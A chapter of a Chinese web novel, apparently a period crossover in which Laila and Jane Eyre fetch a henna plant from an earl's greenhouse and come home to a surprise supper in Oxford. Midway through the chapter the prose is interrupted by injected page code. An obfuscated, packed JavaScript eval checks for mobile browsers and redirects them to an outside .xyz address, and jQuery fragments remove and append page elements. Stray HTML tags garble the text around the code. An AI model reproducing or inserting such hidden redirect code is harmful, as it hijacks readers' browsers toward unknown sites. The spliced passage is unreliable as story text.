手提灯在夜晚的温室像两只受伤的眼睛。


    莱拉说：“你看这个灯光，像不像狼受伤的眼睛？”


    简略微思索了一会：“因为植物映的灯光发绿，但是火光本身是暖色调的？这个比喻有点奇怪。”


    莱拉：“它的颜色多么像是一只绿眼睛里的血丝呀。”


    乍一抬头，看不见玻璃穹顶，只能看到榕树高高的胀大的枝干支撑着天空，走上两步，就要留神一片又大又硬的叶子打到脸上。


    简惊奇地说：“这些树叶和约克郡的完全不同。它们摸起来那么的厚实，而且很光滑。”


    “的确如此，简，它们是蜡质叶。”


    英格兰多雨潮湿，空气湿度以莱拉的习惯来看，是从来没有低过的，但是温室里还要湿，每一次呼吸，她仿佛都能感受到水汽充斥每一个肺泡。


    雾气影影绰绰的，一团鬼影，两团鬼影，走进去，朦朦胧胧，什么都看不清楚，提着灯也是什么都看不清楚。好像她们当真走到了两个鬼的身体里面。


    “温室应该有更干一些的区域。”


    莱拉自言自语。


    她再次抬头，这次可以看到玻璃穹顶了。


    走出去榕树的范围了。


    “小姐，我发现了第二扇门。”


    简在另一边喊。


    果然如此。


    莱拉肯定了自己的猜测，循着简的方向小心翼翼地走过去，她想到自己要找什么了，至少，是自己想要找的东西之一。


    海娜。


    听起来像个名字，但实际上不是。


    莱拉随口问：“你听说过什么是海娜吗？”


    简：“这是一个人吗？”


    莱拉：“不，不是一个人，它是一种植物。”


    肯特伯爵只给她一把钥匙。


    莱拉自言自语，但要是说对简说话也说的通：“我不觉得以肯特伯爵的性子会想到专门配第二把钥匙——对一个温室里面的温室配第二把钥匙。”


    “简，用那把钥匙试一试。”


    简拿着钥匙试着往锁眼里插，果然进去了。


    “转得动吗？”


    “转得动，莱拉小姐。”


    小门打开，莱拉第一眼看到的是标本，还几副很精美的模式图。这比伦敦宅子里的油画漂亮多了，莱拉想。


    “我以为这是一个干旱温室。”


    莱拉有些失望，她一屁股做到摇椅上，两条腿在空中晃来晃去。


    简：“你怎么会以为会有个干旱温室呢，莱拉小姐，外面那么湿！”


    莱拉：“是我想多了。”


    这个时代的技术应该达不到的，有个玻璃做的温室已经很好了，更别提它是肯特伯爵的私人温室。


    她们现在身处的环境像是一个小书房，一个做研究的场合，莱拉起身，远远地看了几眼书桌，没有动上面的东西。


    第一眼是这个时候所有的书桌都会有的羽毛笔和墨水瓶，一摞纸张，最上面那张是一张折线图，下面隐约露出来的是记录时间的表格。


    简：“为什么你要找海娜，它是一种干旱地带的植物吗？”


    莱拉：“是的，海娜可以做天然的染发剂，我们需要它。因为它能让南希成为南希·德尔维。”


    莱拉自觉失言，补充道：“从一个普通的漂亮姑娘，成为时尚杂志刊印的有名模特。”


    简：“宏伟的梦想。”


    莱拉：“我们走吧，不要打扰教授的书房。”


    简：“再等一下，小姐，你说的海娜究竟是什么样子的？”


    莱拉回想了一下：“它比较高大，有草本的，也有灌木型的，叶片含有丰富的红棕色色素，现在的话，应该正是海娜的花期。”


    简从窗台上举起一盆矮小的，看上去萎靡不振的植物：“小姐，你说的是它吗？”


    海娜对于莱拉只是书本上的一个名词和图片，她这辈子都没有见过活着的海娜，很难把简·爱手里那盆开白色小花的植物和染料联系起来。


    莱拉：“哦。”


    她走过去，低头，把鼻子埋进去，确实有花，有花的味道，证明不是自己的幻觉。


    莱拉摘下两片叶子在指缝间搓揉：“这看上去像是海娜。”


    简十分诧异：“莱拉小姐，你没有亲眼见过吗？”


    莱拉回之以同样诧异的目光：“简，你怎么会认为我见过活着的海娜呢？世界上最好的海娜是印度拉吉斯坦邦出产的，因为那里非常，非常，非常干旱。”


    莱拉一连用了三个“干旱”，力图让简明白这个词语和英格兰是完全不沾边的。


    “而我，从出生开始就待在白蜡树地的大宅里面，到了六岁就被送进圣凯瑟琳修道院当寄宿生，我怎么可能去过东方？”


    最后一个词出口，莱拉的舌尖一颤。


    她怎么可能去过东方！


    她这辈子还有可能重新踏上故乡的土地吗？


    简很自然地说：“啊，我不知道，看来我需要读更多的书。”


    莱拉迷迷糊糊地说：“是的，我知道安娜颠茄中毒就是因为在艾格尼丝嬷嬷的书桌上偶然看到的，她在看书，我在看她的书。”


    简：“莱拉小姐，你帮我提一下灯，我来抱着这个花盆出去。”


    莱拉：“当然没有问题。”


    她们再次开门，在浓稠的雾气中穿过去，带着花盆和灯。


    出来时，莱拉忍不住说：“说真的，我不太记得海娜的原产地是哪里了，兴许是埃及吧，我不能确定，你看，简，它在英国的温室里长得很糟糕，不应该这么瘦弱矮小。海娜应该在东方，近东，中东，远东，它都可以长得很好。”


    莽莽地说了这么一大堆，莱拉忽然发现自己已经坐到马车上了，提灯也还给了看门人。


    她为刚才的话做了一个收尾：“所以说，在英国，她长不好。”


    一直海娜海娜的，她差点把自己也绕进去去了，把这盆花当做了一个人。


    莱拉纠正：“你瞧我，简直都糊涂了，应该是它而不是她。说真的，我一点都不喜欢这样，海娜，或者一只猫，或者一条狗，都应该是它。”


    简：“我没有想到知识还能通过这样的方式进入人的心里，你知道颠茄居然只是因为在院长嬷嬷书桌前的偶然一瞥，太富有浪漫主义色彩了！”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586875|170143||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    她们很快就回到了在牛津的新住所，还是再把这个看门人叫醒。


    莱拉：“最近一个月我叫醒的看门人比我这辈子都多。”


    夜色寂静，前院花圃里没有一小朵花在摇晃。牛津的夜晚特别的宁静，和夜夜刮起大风的约克郡荒原截然不同。


    下车时莱拉主动要求抱着花盆，理由是简把海娜从温室最里面的书房抱到了马车上一定很累，所以现在轮到她抱着海娜了。


    “敲门，敲门。”


    当简抬起手来敲门的时候，莱拉在一旁用嘴巴配合着敲门。


    两声“knock”过后，无事发生。两扇大门没有砰的一声洞开，倾泄出暖黄色的灯光，没有热情的男女主人擎着同样暖色调的蜡烛在门厅里说着欢迎词——这点完全不可能实现的，因为房子的主人现在还在伦敦。


    这副电影一样的画面没有发生的意思是，没有人开门，提前入住的玛莎，南希和小奥利弗，一个都没有来开门。


    前院花圃里的每一朵玫瑰都闻风不动地散发着香气，怀里这盆开瘦弱白色小花的海娜也是。


    莱拉觉得有点凄凉。


    简大喊：“你们还好吗？”


    莱拉忽然有些想哭。


    简：“我不敢相信她们会全都睡觉了，不，我不相信，我觉得这是不可能的。”


    莱拉的声音很疲乏：“不，简，一切皆有可能，你把我的怀表拿出来看看时间，再过五分钟没有人来开门，我就走窗户进去。”


    简：“不，莱拉小姐，我要从大门进去，我一定要从大门进去，她们怎么可以这样怠慢呢？玛莎是你一手教导出来的啊，莱拉小姐，奥利弗是你收留并且资助的，德尔维小姐是你未来的姐妹，这些人没有一个可以——可以这样对待你！这太不公正了！”


    月色平静，波澜不惊，花园里的花儿，天上的云彩，全都不动了。


    简·爱在动。


    她上次这么愤怒还是被舅妈关进红房子的时候，那个时候她还是一个小女孩，现在她长大成人了，却被关在房子外面。


    她后退一步，似乎是想要把门踹开。


    莱拉没有任何反对的表现。


    直到门终于开了的时候，她依然没有安抚简情绪的意思。


    “惊喜！”


    大门敞开，玛莎像一只快活的小鸟那样飞出来，围着莱拉蹦蹦跳跳。


    玛莎嘴里说个不停：“小姐，我们为你准备了一份惊喜，这是我们能做到的最好的了，虽然微不足道，今天的午饭和晚饭都是在驿站解决的，我知道你吃的不开心，我知道你一直吃的不开心，自从我们来到肯特伯爵府上以后，你讨厌油汪汪的煎胡萝卜，不喜欢煎的过老的牛排，所以我们自己准备了一顿夜宴，专门为你，小姐！”


    玛莎接着说：“哦，我们的邻居看见我们在搬行李，派了一个仆人来问好，德尔维小姐见了他，不过没有接受他拜访的请求，德尔维小姐说要等到小姐来了让你做决定。”


    莱拉的眼泪掉下来，不是由于感动，而是由于重力。


    她问：“邻居叫什么名字？”


    玛莎：“威尔莫勋爵。”